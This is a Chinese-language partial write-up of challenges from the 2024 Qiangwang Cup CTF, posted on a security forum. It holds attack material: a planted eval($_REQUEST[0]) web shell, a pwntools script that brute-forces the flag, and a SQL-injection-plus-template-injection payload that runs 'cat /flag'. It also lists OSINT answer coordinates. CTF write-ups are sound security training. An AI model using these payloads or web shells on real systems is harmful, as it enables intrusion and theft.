2024强网杯WP(部分)
bcloud 发表于 四川 CTF 678浏览 · 2024-11-03 09:32

xiaohuanxiong

因环境问题,当时没有截图,我这里下来复现一下
这第一步其实没怎么搞懂,反正通过未授权进去了后台


然后我们可以在支付管理界面修改代码,添加一个eval($_REQUEST[0]);


访问界面发现成功修改


使用蚁剑连接即可获得flag

pickle_jail

一键梭哈

from pwn import *  
from struct import pack


def x(lian_jie, fu_zai):
    lian_jie.recvuntil(b'your name?')
    lian_jie.sendline(fu_zai)
    lian_jie.recvuntil(b'number to win:')
    lian_jie.sendline(b'\x0c')
    lian_jie.recvline()

y = list("0123456789abcdef-")

f = b'flag{'

for _ in range(36):
    for j in y:
        with remote('ctfip', 32772) as lian_jie:
            ce_shi = f + j.encode()
            fu_zai = b'B' + pack('<i', len(ce_shi)) + ce_shi + b'B' + pack('<i', 36)
            fu_zai = fu_zai.rjust(254, b')') 
            x(lian_jie, fu_zai)
            xiang_ying = lian_jie.recvline().decode()
            if "joined this game" in xiang_ying:
                f = ce_shi
                print(f)
                break

paltform

目录扫描,发现www.zip存在压缩包存在源码


通过源码分析可知需要进行序列化来注入我们想要的变量且需要使用条件竞争方式读取flag

打开网站抓包,反序列化数据,EvAl函数过滤,使用大写绕过


通过条件竞争读取readflag文件,注意:其中的phpsessid字段必须保持一致


爆破模块条件竞争,成功读取到flag

Password game

访问网站任意输入抓包


任意输入查看发现需要包含大小写,再次发包需要26的倍数,输入85901是26的倍数


下图新规则


Python代码计算下


或不多说,直接给出payload如下图:

Master of OSINT

提交图片至少九张网站经纬度即可

2:121.567064,31.211279
4:118.783639,32.013321
9:114.412364,30.661245
5:106.524444,29.52234
1:99.974435,36.66634
6:112.969135,28.202621
10:120.308534,30.152654
3:103.966435,30.571344
7:112.969317,28.201594

snake

通过js更改游戏速度快满玩到source为50即可获得snake_win路径,其路径可通过SQL注入+模板注入的方式拿到flag

payload如下:

/snake_win?username=1' union select 1,2,'{{lipsum.__globals__.__builtins__.__import__("os").popen("cat /flag").read()}}'--

0 条评论
某人
表情
可输入 255

没有评论